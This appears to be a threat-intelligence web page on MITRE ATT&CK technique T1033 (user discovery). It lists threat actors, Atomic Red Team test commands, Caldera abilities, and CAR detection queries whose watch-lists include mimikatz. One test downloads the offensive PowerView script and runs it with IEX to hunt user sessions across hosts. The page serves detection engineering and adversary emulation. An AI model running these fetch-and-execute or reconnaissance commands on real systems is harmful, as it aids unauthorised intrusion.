Home/ATT&CK Technique/System Owner/User Discovery
ATT&CK Technique

System Owner/User Discovery

T1033 · discovery

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.

Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who.

On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as show users and show ssh can be used to display users currently logged into the device.

LinuxmacOSNetwork DevicesWindows
◆

Actors Using This

14
iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
franceAnimal Farm
unknown_likely_russia_alignedAnubis Ransomware
chinaAoqin Dragon
chinaAPT10
chinaAPT17
chinaAPT1
chinaAPT31
iranAPT33
iranOilRig
▸

Atomic Tests

7
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsSystem Owner/User Discovery
Identify System owner or users on an endpoint. Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. Additionally, two files will be written to disk - computers.txt and usernames.txt. 
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
shlinux, macosSystem Owner/User Discovery
Identify System owner or users on an endpoint Upon successful execution, sh will stdout list of usernames. 
users
w
who
powershellwindowsFind computers where user has session - Stealth mode (PowerView)
Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
powershellwindowsUser Discovery With Env Vars PowerShell Script
Use the PowerShell environment variables to identify the current logged user.
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt 
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
powershellwindowsGetCurrent User with PowerShell Script
Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
powershellwindowsSystem Discovery - SocGholish whoami
SocGholish performs whoami discovery commands and outputs the results to a tmp file. The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp. Reference: https://redcanary.com/threat-detection-report/threats/socgholish/ 
$TokenSet = @{
  U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  N = [Char[]]'0123456789'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"

whoami.exe /all >> #{output_path}\$file
command_promptwindowsSystem Owner/User Discovery Using Command Prompt
Identify the system owner or current user using native Windows command prompt utilities.
set file=#{output_file_path}\user_info_%random%.tmp
echo Username: %USERNAME% > %file%
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%
◈

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 29
Analytics (MITRE CAR) 2
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
◈

CAR Analytics

2
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2013-04-002Low coverageQuick execution of a series of suspicious commands

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

Commands of interest
  • arp.exe.
  • at.exe.
  • attrib.exe.
  • cscript.exe.
  • dsquery.exe.
  • hostname.exe.
  • ipconfig.exe.
  • mimikatz.exe.
  • nbstat.exe.
  • net.exe.
  • netsh.exe.
  • nslookup.exe.
  • ping.exe.
  • quser.exe.
  • qwinsta.exe.
  • reg.exe.
  • runas.exe.
  • sc.exe.
  • schtasks.exe.
  • ssh.exe.
  • systeminfo.exe.
  • taskkill.exe.
  • telnet.exe.
  • tracert.exe.
  • wscript.exe.
  • xcopy.exe ### Output Description The host on which the commands were executed, the time of execution, and what commands were executed.
pseudocode
processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped
DNIF
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include
LogPoint
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1
CAR-2016-03-001Moderate coverageHost Discovery Commands

When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment.

The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally. Because these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white-or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically.

Within the built-in Windows Commands
  • hostname.
  • ipconfig.
  • net.
  • quser.
  • qwinsta.
  • sc with flags query, queryex, qc.
  • systeminfo.
  • tasklist.
  • dsquery.
  • whoami Note dsquery is only pre-existing on Windows servers.
pseudocode
process = search Process:Create
info_command = filter process where (
 exe == "hostname.exe" or
 exe == "ipconfig.exe" or
 exe == "net.exe" or
 exe == "quser.exe" or
 exe == "qwinsta.exe" or
 exe == "sc" and (command_line match " query" or command_line match " qc")) or
 exe == "systeminfo.exe" or
 exe == "tasklist.exe" or
 exe == "whoami.exe"
)
output info_command
Splunk
index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName
EQL
process where subtype.create and
  (process_name == "hostname.exe" or process_name == "ipconfig.exe" or process_name == "net.exe" or process_name == "quser.exe" process_name == "qwinsta.exe" or process_name == "systeminfo.exe" or process_name == "tasklist.exe" or process_name == "whoami.exe" or (process_name == "sc.exe" and (command_line == "* query *" or command_line == "* qc *")))
LogPoint
norm_id=WindowsSysmon event_id=1 (image in ["*\hostname.exe", "*\ipconfig.exe", "*\net.exe", "*\quser.exe", "*\qwinsta.exe", "*\systeminfo.exe", "*\tasklist.exe", "*\whoami.exe"] OR (image="*\sc.exe" command IN ["* query *", "* qc *"))
▸

Caldera Emulation

4
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
discoverydarwin, linux, windowsCurrent User
whoami
discoverywindowsGetAdminMembers
Import-Module .\powerview.ps1 -Force;
Get-NetUser -AdminCount | ConvertTo-Json -Depth 1
discoverywindowsGetServiceAccounts
Import-Module .\powerview.ps1 -Force;
Get-NetUser -SPN | ConvertTo-Json -Depth 1
discoverydarwin, linux, windowsIdentify active user
whoami
▣

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